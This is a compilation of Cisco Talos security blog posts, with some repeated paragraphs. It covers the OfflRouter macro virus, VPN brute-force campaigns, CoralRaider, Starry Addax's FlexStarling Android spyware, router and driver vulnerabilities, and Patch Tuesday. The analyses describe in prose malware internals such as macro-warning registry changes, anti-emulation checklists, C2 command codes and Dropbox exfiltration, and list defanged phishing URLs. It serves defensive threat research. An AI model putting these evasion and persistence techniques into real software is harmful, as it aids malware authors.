Security experts and government officials are bracing for an uptick in offensive cyber attacks between Israel and Iran after Iran launched a barrage of drones and missiles at Israel. Both countries have dealt with increased tensions recently, eventually leading to the attack Saturday night. Israel’s leaders have already been considering various responses to the attack, among which could be cyber attacks targeting Iran in addition to any new kinetic warfare. Israel and Iran have long had a tense relationship that included covert operations and destructive cyberattacks. Experts say both countries have the ability to launch wiper malware, ransomware and cyber attacks against each other, some of which could interrupt critical infrastructure or military operations. The increased tensions have also opened the door to many threat actors taking claims for various cyber attacks or intrusions that didn’t happen. (Axios, Foreign Policy)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
During a threat-hunting exercise, Cisco Talos discovered documents with potentially confidential information originating from Ukraine. The documents contained malicious VBA code, indicating they may be used as lures to infect organizations.
The results of the investigation have shown that the presence of the malicious code is due to the activity of a rare multi-module virus that's delivered via the .NET interop functionality to infect Word documents.
The virus, named OfflRouter, has been active in Ukraine since 2015 and remains active on some Ukrainian organizations’ networks, based on over 100 original infected documents uploaded to VirusTotal from Ukraine and the documents’ upload dates.
We assess that OfflRouter is the work of an inventive but relatively inexperienced developer, based on the unusual choice of the infection mechanism, the apparent lack of testing and mistakes in the code.
The author’s design choices may have limited the spread of the virus to very few organizations while allowing it to remain active and undetected for a long period of time.
As a part of a regular threat hunting exercise, Cisco Talos monitors files uploaded to open-source repositories for potential lures that may target government and military organizations. Lures are created from legitimate documents by adding content that will trigger malicious behavior and are often used by threat actors.
For example, malicious document lures with externally referenced templates written in Ukrainian language are used by the Gamaredon group as an initial infection vector. Talos has previously discovered military theme lures in Ukrainian and Polish, mimicking the official PowerPoint and Excel files, to launch the so-called “Picasso loader,” which installs remote access trojans (RATs) onto victims' systems.
In July 2023, threat actors attempted to use lures related to the NATO summit in Vilnius to install the Romcom remote access trojan. These are just some of the reasons why hunting for document lures is vital to any threat intelligence operation.
In February 2024, Talos discovered several documents with content that seems to originate from Ukrainian local government organizations and the Ukrainian National Police uploaded to VirusTotal. The documents contained VBA code to drop and run an executable with the name `ctrlpanel.exe`, which raised our suspicion and prompted us to investigate further.
Eventually, we discovered over 100 uploaded documents with potentially confidential information about government and police activities in Ukraine. The analysis of the code showed unexpected results – instead of lures used by advanced actors, the uploaded documents were infected with a multi-component VBA macro virus OfflRouter, created in 2015. The virus is still active in Ukraine and is causing potentially confidential documents to be uploaded to publicly accessible document repositories.
Attribution
Although the virus is active in Ukraine, there are no indications that it was created by an author from that region. Even the debugging database string used to name the virus “E:\Projects\OfflRouter2\OfflRouter2\obj\Release\ctrlpanel.pdb” present in the ctrlpanel.exe does not point to a non-English speaker.
From the choice of the infection mechanism, VBA code generation, several mistakes in the code, and the apparent lack of testing, we estimate that the author is an inexperienced but inventive programmer.
The choices made during the development limited the virus to a specific geographic location and allowed it to remain active for almost 10 years.
The newly discovered infected documents are written in Ukrainian, which may have contributed to the fact that the virus is rarely seen outside Ukraine. Since the malware has no capabilities to spread by email, it can only be spread by sharing documents and removable media, such as USB memory sticks with infected documents. The inability to spread by email and the initial documents in Ukrainian are additional likely reasons the virus stayed confined to Ukraine.
One of the documents was recently uploaded to VirusTotal from Ukraine.
The virus targets only documents with the filename extension .doc, the default extension for the OLE2 documents, and it will not try to infect other filename extensions. The default Word document filename extension for the more recent Word versions is .docx, so few documents will be infected as a result.
This is a possible mistake by the author, although there is a small probability that the malware was specifically created to target a few organizations in Ukraine that still use the .doc extension, even if the documents are internally structured as Office Open XML documents.
Other issues prevented the virus from spreading more successfully and most of them are found in the executable module, ctrlpanel.exe, dropped and executed by the VBA part of the code.
When the virus is run, it attempts to set the value Ctrlpanel of the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run so that it runs on the Windows boot. An internal global string _RootDir is used as the value, however, the string only contains the folder where the ctrlpanel.exe is found and not its full path, which makes this auto-start measure fail.
One interesting concept in the .NET module is the entire process of infecting documents. As a part of the infection process, the VBA code is generated by combining the code taken from the hard-coded strings in the module with the encoded bytes of the ctrlpanel.exe binary. This makes the generated code the same for every infection cycle and rather easy to detect. Having a VBA code generator in the .NET code has more potential to make the infected documents more difficult to detect.
Once launched, the executable module stays active in memory and uses threading timers to execute two background worker objects, the first one tasked with the infection of documents and the second one with checking for the existence of the potential plugin modules for the .NET module.
The infection background worker enumerates the mounted drives and attempts to find documents to infect by using the Directory.Getfiles function with the string search pattern “*.doc” as a parameter.
One of the parameters of the function is the SearchOption parameter which specifies the option to search in subdirectories or only the in the root folder. For fixed drives, the module chooses to search only the root folder, which is an unusual choice, as it is quite unlikely that the root folder will hold any documents to infect.
For removable drives, the module also searches all subfolders, which likely makes it more successful. Finally, it checks the list of recent documents in Word and attempts to infect them, which contributes to the success of the virus spreading to other documents on fixed drives.
The choice of document filename extensions is limited to .doc.
OfflRouter VBA code drops and executes the main executable module
The VBA part of the virus runs when a document is opened, provided macros are enabled, and it contains code to drop and run the executable module ctrlpanel.exe.
The VBA part creates and executes the executable module of the virus.
The beginning of the macro code defines a function that checks if the file already exists and if it does not, it opens it for writing and calls functions CheckHashX, which at first glance looks like containing junk code to reset the value of the variable `Y`. However, the variable Y is defined as a private property with an overridden setter function, which converts the variable value assignment into appending the supplied value to the end of the opened executable module C:\Users\Public\ctrlpanel.exe. Every code line that looks like an assignment appends the assigned value to the end of the file, and that is how the executable module is written.
This technique is likely implemented to make the detection of the embedded module a bit more difficult, as the executable mode is not stored as a contiguous block, but as a sequence of integer values that look like being assigned to a variable.
To a more experienced analyst, this code looks like garbage code generated by polymorphic engines, and it raises the question of why the author has not extended the code generation to pseudo-randomize the code.
Infected Word documents drop the .NET component that infects other documents.
The virus is unique, as it consists of VBA and executable modules with the infection logic contained in the PE executable .NET module.
The property Y has an overridden setter function to write into a file.
Ctrlpanel.exe .NET module
The unique infection method used by ctrlpanel.exe is through the Office Interop classes of .NET VBProject interface Microsoft.Vbe.Interop and the Microsoft.Office.Interop.Word class that exposes the functionality of the Word application.
The Interop.Word class is used to instantiate a Document class which allows access to the VBA macro code and the addition of the code to the target document file using the standard Word VBA functions.
When the .NET module ctrlpanel.exe is launched, it attempts to open a mutex ctrlpanelapppppp to check if another module instance is already running on the system. If the mutex already exists, the process will terminate.
Suppose no other module instances are running. In that case, ctrlpanel.exe creates the mutex named “ctrlpanelapppppp”, attempts to set the registry run key so the module runs on system startup, and finally initializes two timers to run associated background timer callbacks – VBAClass_Timer_Callback and PluginClass_TimerCallback, implemented to start the Run function of the classes VBAClass and PluginClass, respectively.
Ctrlpanel.exe has two threads of execution.
The VBAClass_Timer_Callback will be called one second after the creation of VBAClass_Timer timer and the PluginClass_Timer_Callback three seconds after the creation of the PluginClass_Timer.
The full functionality of the executable module is implemented by two classes, VBAClass and PluginClass, specifically within their respective functions Backgroundworker_DoWork.
VBAClass is tasked with generating VBA code and infecting other Word documents
The background worker function runs in an infinite loop and contains two major parts, the first is tasked with the document infection and the second with finding the documents to infect, the logic we already described above.
The infection iterates through a list of the document candidates to infect and uses an innovative method to check the document infection marker to avoid multiple infection processes – the function checks the document creation metadata, adds the creation times, and checks the value of the sum. If the sum is zero, the document is considered already infected.
The file system time of creation is used as an infection marker.
If the document to be infected is created in the Word 97-2003 binary format (OLE2), the document will be saved with the same name in Microsoft Office Open XML format with enabled macros (DOCX).
The infection uses the traditional VBA class infection routine. It accesses the Visual Basic code module of the first VBComponent and then adds the code generated by the function MyScript to the document’s code module. After that, the infected document is saved.
The target document is converted to .docx and then infected.
The code generation function MyScript contains static strings and instructions to dynamically generate code that will be added to infected documents. It opens its own executable ctrlpanel.exe for reading and reads the file 32-bit by 32-bit value which gets converted to decimal strings that can be saved as VBA code. For every repeating 32-bit value, most commonly for zero, the function creates a for loop to write the repeating value to the dropped file. The purpose is unclear, but it is likely to achieve a small saving in the size of the code and compress it.
Repeating 32-bit values are “compressed.”
For every 4,096 bytes, the code generates a new CheckHashX subroutine to break the code into chunks. The purpose of this is not clear.
The VBA code infecting files is dynamically created.
After the file is infected, the background worker adds the infection marker file by setting the values of hour, minute, second, and millisecond creation times to zero.
The infection market is set after the infected file has been copied to its original location.
PluginClass is tasked with discovering and loading plugins
Ctrlpanel.exe can also search for potential plugins present on removable media, which is very unusual for simple viruses that infect documents. This may indicate that the author’s aims were a bit more ambitious than the simple VBA infection.
Searching for the plugins in removable drives is unusual as it requires the plugins to be delivered to the system on a physical media, such as a USB drive or a CD-ROM. The plugin loader searches for any files with the filename extension .orp, decodes its name using Base64 decoding function, decodes the file content using Base64 decoding, copies the file into the c:\users\public\tools folder with the previously decoded name and the extension .exe and finally executes the plugin.
Any plugins found on a removable drive are decoded, copied to drive C: and launched.
If the plugins are already present on an infected machine, ctrlpanel.exe will try to encode them using Base64 encoding, copy them to the root of the attached removable media with the filename extension “.orp” and set the newly created file attributes to the values system and hidden so that they are not displayed by default by Windows File Explorer.
It is unclear if the initial vector is a document or the executable module ctrlpanel.exe
The advantage of the two-module virus is that it can be spread as a standalone executable or as an infected document. It may even be advantageous to initially spread as an executable as the module can run standalone and set the registry keys to allow execution of the VBA code and changing of the default saved file formats to doc before infecting documents. That way, the infection may be a bit stealthier.
The following registry keys are set:
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\AccessVBOM (to allow access to Visual Basic Object Model by the external applications)
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings (to disable warnings about potential Macro code in the infected documents)
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options\DefaultFormat (to set the default format to DOC)
Coverage
Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are
The following ClamAV signatures detect malware artifacts related to this threat:
Doc.Malware.Valyria-6714124-0
Win.Virus.OfflRouter-10025942-0
IOCs
IOCs for this research can also be found at our GitHub repository here.
Cisco Talos would like to acknowledge Anna Bennett and Brandon White of Cisco Talos and Phillip Schafer, Mike Moran, and Becca Lynch of the Duo Security Research team for their research that led to the identification of these attacks.
Cisco Talos is actively monitoring a global increase in brute-force attacks against a variety of targets, including Virtual Private Network (VPN) services, web application authentication interfaces and SSH services since at least March 18, 2024.
These attacks all appear to be originating from TOR exit nodes and a range of other anonymizing tunnels and proxies.
Depending on the target environment, successful attacks of this type may lead to unauthorized network access, account lockouts, or denial-of-service conditions. The traffic related to these attacks has increased with time and is likely to continue to rise. Known affected services are listed below. However, additional services may be impacted by these attacks.
Cisco Secure Firewall VPN
Checkpoint VPN
Fortinet VPN
SonicWall VPN
RD Web Services
Miktrotik
Draytek
Ubiquiti
The brute-forcing attempts use generic usernames and valid usernames for specific organizations. The targeting of these attacks appears to be indiscriminate and not directed at a particular region or industry. The source IP addresses for this traffic are commonly associated with proxy services, which include, but are not limited to:
TOR
VPN Gate
IPIDEA Proxy
BigMama Proxy
Space Proxies
Nexus Proxy
Proxy Rack
The list provided above is non-exhaustive, as additional services may be utilized by threat actors.
Due to the significant increase and high volume of traffic, we have added the known associated IP addresses to our blocklist. It is important to note that the source IP addresses for this traffic are likely to change.
Guidance
As these attacks target a variety of VPN services, mitigations will vary depending on the affected service. For Cisco remote access VPN services, guidance and recommendation can be found in a recent Cisco support blog:
We are including the usernames and passwords used in these attacks in the IOCs for awareness. IP addresses and credentials associated with these attacks can be found in our GitHub repository here.
I feel like over the past several years, the “holiday” that is April Fool’s Day has really died down. At this point, there are few headlines you can write that would be more ridiculous than something you’d find on a news site any day of the week.
And there are so many more serious issues that are developing, too, that making a joke about a fake news story is just in bad taste, even if it’s in “celebration” of a “holiday.”
Thankfully in the security world, I think we’ve all gotten the hint at this point that we can’t just post whatever we want on April 1 of each calendar year and expect people to get the joke. I’ve put my guard down so much at this point that I actually did legitimately fall for one April Fool’s joke from Nintendo, because I could definitely see a world in which they release a Virtual Boy box for the Switch that would allow you to play virtual reality games.
But at least from what I saw on April 1 of this year, no one tried to “get” anyone with an April Fool’s joke about a ransomware actor requesting payment in the form of “Fortnite” in-game currency, or an internet-connected household object that in no universe needs to be connected to the internet (which, as it turns out, smart pillows exist!).
So, all that is to say, good on you, security community, for just letting go of April Fool’s. Our lives are too stressful without bogus headlines that we, ourselves, generate.
The one big thing
Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries. This group focuses on stealing victims’ credentials, financial data, and social media accounts, including business and advertisement accounts. CoralRaider appears to use RotBot, a customized variant of QuasarRAT, and XClient stealer as payloads. The actor uses the dead drop technique, abusing a legitimate service to host the C2 configuration file and uncommon living-off-the-land binaries (LoLBins), including Windows Forfiles.exe and FoDHelper.exe
Why do I care?
This is a brand new actor that we believe is acting out of Vietnam, traditionally not a country who is associated with high-profile state-sponsored actors. CoralRaider appears to be after targets’ social media logins, which can later be leveraged to spread scams, misinformation, or all sorts of malicious messages using the victimized account.
So now what?
CoralRaider primarily uses malicious LNK files to spread their malware, though we currently don’t know how those files are spread, exactly. Threat actors have started shifting toward using LNK files as an initial infection vector after Microsoft disabled macros by default — macros used to be a primary delivery system. For more on how the info in malicious LNK files can allow defenders to learn more about infection chains, read our previous research here.
Top security headlines of the week
The security community is still reflecting on the “What If” of the XZ backdoor that was discovered and patched before threat actors could exploit it. A single Microsoft developer, who works on a different open-source project, found the backdoor in xz Utils for Linux distributions several weeks ago seemingly on accident, and is now being hailed as a hero by security researchers and professionals. Little is known about the user who had been building the backdoor in the open-source utility for at least two years. Had it been exploited, the vulnerability would have allowed its creator to hijack a user’s SSH connection and secretly run their own code on that user’s machine. The incident is highlighting networking’s reliance on open-source projects, which are often provided little resource and usually only maintained as a hobby, for free, by individuals who have no connection to the end users. The original creator of xz Utils worked alone for many years, before they had to open the project because of outside stressors and other work. Government officials have also been alarmed by the near-miss, and are now considering new ways to protect open-source software. (New York Times, Reuters)
AT&T now says that more than 51 million users were affected by a data breach that exposed their personal information on a hacking forum. The cable, internet and cell service provider has still not said how the information was stolen. The incident dates back to 2021, when threat actor ShinyHunters initially offered the data for sale for $1 million. However, that data leaked last month on a hacking forum belonging to an actor known as “MajorNelson.” AT&T’s notification to affected customers stated that, "The [exposed] information varied by individual and account, but may have included full name, email address, mailing address, phone number, social security number, date of birth, AT&T account number and AT&T passcode." The company has also started filing required formal notifications with U.S. state authorities and regulators. While AT&T initially denied that the data belonged to them, reporters and researchers soon found that the information were related to AT&T and DirecTV (a subsidiary of AT&T) accounts. (BleepingComputer, TechCrunch)
Another ransomware group claims they’ve stolen data from United HealthCare, though there is little evidence yet to prove their claim. Change Health, a subsidiary of United, was recently hit with a massive data breach, pausing millions of dollars of payments to doctors and healthcare facilities to be paused for more than a month. Now, the ransomware gang RansomHub claims it has 4TB of data, requesting an extortion payment from United, or it says it will start selling the data to the highest bidder 12 days from Monday. RansomHub claims the stolen information contains the sensitive data of U.S. military personnel and patients, as well as medical records and financial information. Blackcat initially stated they had stolen the data, but the group quickly deleted the post from their leak site. A person representing RansomHub told Reuters that a disgruntled affiliate of Blackcat gave the data to RansomHub after a previous planned payment fell through. (DarkReading, Reuters)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
Cisco Talos’ Vulnerability Research team has disclosed 10 vulnerabilities over the past three weeks, including four in a line of TP-Link routers, one of which could allow an attacker to reset the devices’ settings back to the factory default.
A popular open-source software for internet-of-things (IoT) and industrial control systems (ICS) networks also contains multiple vulnerabilities that could be used to arbitrarily create new files on the affected systems or overwrite existing ones.
For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.
Denial-of-service, remote code execution vulnerabilities in TP-Link AC1350 router
Talos researchers recently discovered four vulnerabilities in the TP-Link AC1350 wireless router. The AC1350 is one of many routers TP-Link produces and is designed to be used on home networks.
TALOS-2023-1861 (CVE-2023-49074) is a denial-of-service vulnerability in the TP-Link Device Debug Protocol (TDDP). An attacker could exploit this vulnerability by sending a series of unauthenticated packets to the router, potentially causing a denial of service and forcing the device to reset to its factory settings.
However, the TDDP protocol is only denial of serviceavailable for roughly 15 minutes after a device reboot.
The TDDP protocol is also vulnerable to TALOS-2023-1862 (CVE-2023-49134 and CVE-2023-49133), a command execution vulnerability that could allow an attacker to execute arbitrary code on the targeted device.
There is another remote code execution vulnerability, TALOS-2023-1888 (CVE-2023-49912, CVE-2023-49909, CVE-2023-49907, CVE-2023-49908, CVE-2023-49910, CVE-2023-49906, CVE-2023-49913, CVE-2023-49911) that is triggered if an attacker sends an authenticated HTTP request to the targeted device. This exploit includes multiple CVEs because an attacker could overflow multiple buffers to cause this condition.
TALOS-2023-1864 (CVE-2023-48724) also exists in the device’s web interface functionality. An adversary could exploit this vulnerability by sending an unauthenticated HTTP request to the targeted device, thus causing a denial of service.
Multiple vulnerabilities in OAS Platform
Discovered by Jared Rittle.
Open Automation Software’s OAS Platform is an IoT gateway and protocol bus. It allows administrators to connect PLCs, devices, databases and custom apps.
There are two vulnerabilities — TALOS-2024-1950 (CVE-2024-21870) and TALOS-2024-1951 (CVE-2024-22178) — that exist in the platform that can lead to arbitrary file creation or overwrite. An attacker can send a sequence of requests to trigger these vulnerabilities.
An adversary could also send a series of requests to exploit TALOS-2024-1948 (CVE-2024-24976), but in this case, the vulnerability leads to a denial of service.
An improper input validation vulnerability (TALOS-2024-1949/CVE-2024-27201) also exists in the OAS Engine User Configuration functionality that could lead to unexpected data in the configuration, including possible decoy usernames that contain characters not usually allowed by the software’s configuration.
Arbitrary write vulnerabilities in AMD graphics driver
Discovered by Piotr Bania.
There are two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11. TALOS-2023-1847 and TALOS-2023-1848 could allow an attacker with access to a malformed shader to potentially achieve arbitrary code execution after causing an out-of-bounds write.
AMD graphics drivers are software that allows graphics processing units (GPUs) to communicate with the operating system.
These vulnerabilities could be triggered from guest machines running virtualization environments to perform guest-to-host escape. Theoretically, an adversary could also exploit these issues from a web browser. Talos has demonstrated with past, similar, vulnerabilities that they could be triggered from HYPER-V guest using the RemoteFX feature, leading to executing the vulnerable code on the HYPER-V host.
In one of the largest Patch Tuesdays in years, Microsoft disclosed 150 vulnerabilities across its software and product portfolio this week, including more than 60 that could lead to remote code execution.
Though April’s monthly security update from Microsoft is the largest since at least the start of 2023, only three of the issues disclosed are considered “critical,” all of which are remote code execution vulnerabilities in Microsoft Defender for IoT.
Most of the remainder of the security issues are considered “important,” and only two are “moderate” severity.
The three critical vulnerabilities — CVE-2024-21322, CVE-2024-21323 and CVE-2024-29053 — are all remote code execution vulnerabilities in Microsoft Defender for IoT. Though little information is provided on how these issues could be exploited, Microsoft did state that exploitation of these vulnerabilities is “less likely.”
There are also three vulnerabilities Talos would like to highlight, as Microsoft as deemed them "more likely" to be exploited:
CVE-2024-26241: Elevation of privilege vulnerability in Win32k
CVE-2024-28903: Security feature bypass vulnerability in Windows Secure Boot
CVE-2024-28921: Security feature bypass vulnerability in Windows Secure Boot
More than half of the code execution vulnerabilities exist in Microsoft SQL drivers. An attacker could exploit these vulnerabilities by tricking an authenticated user into connecting to an attacker-created SQL server via ODBC, which could result in the client receiving a malicious network packet. This could allow the adversary to execute code remotely on the client.
A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.
In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63254 - 63257, 63265 - 63271, 63274 and 63275. There are also Snort 3 rules 300873, 300874 and 300877 - 300879.
Cisco Talos is disclosing a new threat actor we deemed “Starry Addax” targeting mostly human rights activists associated with the Sahrawi Arab Democratic Republic (SADR) cause with a novel mobile malware.
Starry Addax conducts phishing attacks tricking their targets into installing malicious Android applications we’re calling “FlexStarling.”
For Windows-based targets, Starry Addax will serve credential-harvesting pages masquerading as login pages from popular media websites.
Talos would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.
Starry Addax has a special interest in Western Sahara
The malicious mobile application (APK), “FlexStarling,” analyzed by Talos recently masquerades as a variant of theSahara Press Service (SPSRASD) App. TheSahara Press Service is a media agency associated with the Sahrawi Arab Democratic Republic. The malware will serve content in the Spanish language from the SPSRASD website to look legitimate to the victim. However, in actuality, FlexStarling is a highly versatile malware capable of deploying additional malware components and stealing information from the infected devices.
Splash screen for the malicious application.
Starry Addax’s infrastructure can be used to target Windows- and Android-based users. This campaign's infection chain begins with a spear-phishing email sent to targets, consisting of individuals of interest to the attackers, especially human rights activists in Morocco and the Western Sahara region. The email contains content that requests the target to install the Sahrawi News Agency’s Mobile App or include a topical theme related to the Western Sahara.
Some examples of the subject lines of the phishing emails consist of:
Subject (Arabic)
Translated Subject
طلب تثبيت التطبيق على هواتف متابعي وكالة الأنباء الصحراوية
Request to install the application on the phones of Sahrawi News Agency followers
الوفد برلماني الأوروبي يدلي بتصريحات
The European Parliament delegation makes statements
الوفد برلماني يدلي بتصريحات
A parliamentary delegation makes statements
عاجل وبالفيديو ونقلاً عن جريدة إلبايس
Urgent, video, and quoted from El Pais newspaper
The email originating from an attacker-owned domain, ondroid[.]site, consists of a shortened link to an attacker-controlled website and domain. Depending on the requestor’s operating system, the website will either serve the FlexStarling APK for Android devices or redirect the victim to a social media login page to harvest their credentials. The links observed by Talos so far are:
Short link
Redirects to
bit[.]ly/48wdj1m
www[.]ondroid[.]store/aL2mohh1
bit[.]ly/48E4W3N
www[.]ondroid[.]store/ties5shizooQu1ei/
Starry Addax likely to escalate momentum
Campaigns like this that target high-value individuals usually intend to sit quietly on the device for an extended period. All components from the malware to the operating infrastructure seem to be bespoke/custom-made for this specific campaign indicating a heavy focus on stealth and conducting activities under the radar. The use of FlexStarling with a Firebase-based C2 instead of commodity malware or commercially available spyware indicates the threat actor is making a conscious effort to evade detections and operate without being detected.
The timelines connected to various artifacts used in the attacks indicate that this campaign is just starting and may be in its nascent stages with more infrastructure and Starry Addax working on additional malware variants.
FlexStarling – A highly capable implant
The FlexStarling malware app requests a plethora of permissions from the Android OS to extract valuable information from the infected mobile device. The following list contains the permissions acquired by FlexStarling via its AndroidManifest[.]xml:
Some of these permissions are dynamically requested at runtime: READ_CALL_LOG, READ_EXTERNAL_STORAGE, READ_SMS, READ_CONTACTS, WRITE_EXTERNAL_STORAGE, INTERNET, ACCESS_NETWORK_STATE, RECORD_AUDIO, READ_PHONE_STATE.
Anti-emulation checks
When the implant runs, it checks the BUILD information for keywords or phrases that indicate that it is running on an emulator or analysis tool. The implant checks for the following keywords:
BUILD[MANUFACTURER] does not contain: “Genymotion”.
BUILD[MODEL] does not contain any of: “google_sdk”, “droid4x”, “Emulator”, "Android SDK built for x86"
BUILD[HARDWARE] does not contains any of: “goldfish”, “vbox86”, “nox”.
BUILD[FingerPrint] does not start with “generic”.
BUILD[Product] does not consist of any of: “sdk”, “google_sdk”, “sdk_x86”, “vbox86p”, “nox”.
BUILD[Board] does not contain: “nox”.
BUILD[Brand] or Device does not start with “generic”.
The implant also checks for the presence of the following emulation/virtualization-related files in the filesystem:
/dev/socket/genyd
/dev/socket/baseband_genyd
/dev/socket/qemud
/dev/qemu_pipe
ueventd.android_x86.rc
X86.prop
ueventd.ttVM_x86.rc
init.ttVM_x86.rc
fstab.ttVM_x86
fstab.vbox86
init.vbox86.rc
ueventd.vbox86.rc
fstab.andy
ueventd.andy.rc
fstab.nox
init.nox.rc
Ueventd.nox.rc
If none of the keywords or files are found or all checks are passed, the malicious app tries to gain permissions for managing external storage areas (shared storage space) on the device using the permission “MANAGE_EXTERNAL_STORAGE”. The actor wants to gain the ability to read, write, modify, delete and manage files on external storage locations.
Stealing information and executing arbitrary code
The malware obtains command codes and accompanying information from the C2 server. It then generates the MD5 hash string of the command code and compares its list of hardcoded hashes. The corresponding activity is carried out by the implant once a match is found.
The various commands supported by the sample are:
Command code MD5 hash
Decode command code
Intent
801ab24683a4a8c433c6eb40c48bcd9d
Download
Download a file specified by a URL to the Downloads directory.
e8606d021da140a92c7eba8d9b8af84f
unknown
Copy files from the download's directory to the application package directory
725888549d44eb5a3a676c018df55943
unknown
Decrypt a dex file located in the application package directory and reflectively load it.
Upload a local file to the attacker’s dropbox folders using the Dropbox API.
The ACCESS TOKEN, local filepath and remote upload path is specified by the C2.
fb84708d32d00fca5d352e460776584c
DECRYPT
AES Decrypt a file from the application package directory using the secret key and IV specified and write it to a file named “.EXEC.dex”
0ba4439ee9a46d9d9f14c60f88f45f87
check
Check if a file inside the application package directory exists.
These commands are supported by accompanying information and consist of the following variables being sent across by the C2:
DURL: Indicates the download URL used by the “Download” command above.
APPNAME: Indicates the filename to use for the destination file during the “Download” command.
DEX: Contains the source file name to be used during the Decrypt (and reflectively load) commands.
ky1: Indicates a value to be used in the context of specific command codes:
Delete = File to be deleted.
Drop = File to be read and uploaded to Dropbox.
DECRYPT = Secret key used for AES decryption.
Check = Filename to be whose presence is to be checked in the application package directory.
ky2: Indicates a value to be used in the context of specific command codes:
Drop = Remote file location where the local file needs to be uploaded on Dropbox.
DECRYPT = IV used for AES decryption.
ky3: Indicates a value to be used in the context of specific command codes:
Drop = Dropbox ACCESS TOKEN value to be used during file upload.
DECRYPT = IV used for AES decryption.
fl: Filename used during the DEX reflective load process.
ky4: Used as a parameter during reflective loading of the DEX file.
ky5: Secret key used for AES decryption as part of the implant’s DEX decrypt and reflective load.
ky6: IV used for AES decryption as part of the implant’s DEX decrypt and reflective load.
ky7: Contains the source file name to be used during the AES decryption as part of the implant’s DEX decrypt and reflective load.
Coverage
Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
IOCs
IOCs for this research can also be found at our GitHub repository here.
As my manager knows, I’m not the biggest fan of working in a physical office. I’m a picky worker — I like my workspace to be borderline frigid, I hate dark mode on any software, and I want any and all lighting cranked all the way up.
So, know that I’m biased going into this, but I also can’t get over the idea that companies are using cybersecurity as an excuse to create return-to-office policies in 2024.
I started thinking about this because of the video game developer Rockstar, which owns some of the largest video game franchises on the planet like Red Dead Redemption and Grant Theft Auto.
The company recently started asking its employees to return to its physical office five days a week in the name of productivity and security as the company pushes to finish its highly anticipated title “Grand Theft Auto VI.”
Many other companies have started to implement return-to-office policies over the past two years, citing various things ranging from worker productivity to interpersonal camaraderie, real estate costs, and more. I’m willing to hear arguments for all those things, but simply thinking that having employees all in one physical space is going to solve security problems seems far-fetched to me.
We’ve written and talked about the various ways remote work has influenced cybersecurity since the onset of the COVID-19 pandemic. There’s no doubt that admins have had to implement new login methods, security controls and policies since more workers across the globe started working remotely. But four years into this trend, there’s no excuse to not be prepared to have remote workers anymore.
An April 2023 study from Kent State University found that remote workers are more likely to be vigilant of security threats and take actions to ward them off than their in-office counterparts.
The use of multi-factor authentication during the rise in remote work has skyrocketed, but often, this requirement is actually dropped if a user is physically in the office or accessing an on-site machine because of the perceived security of being in the office.
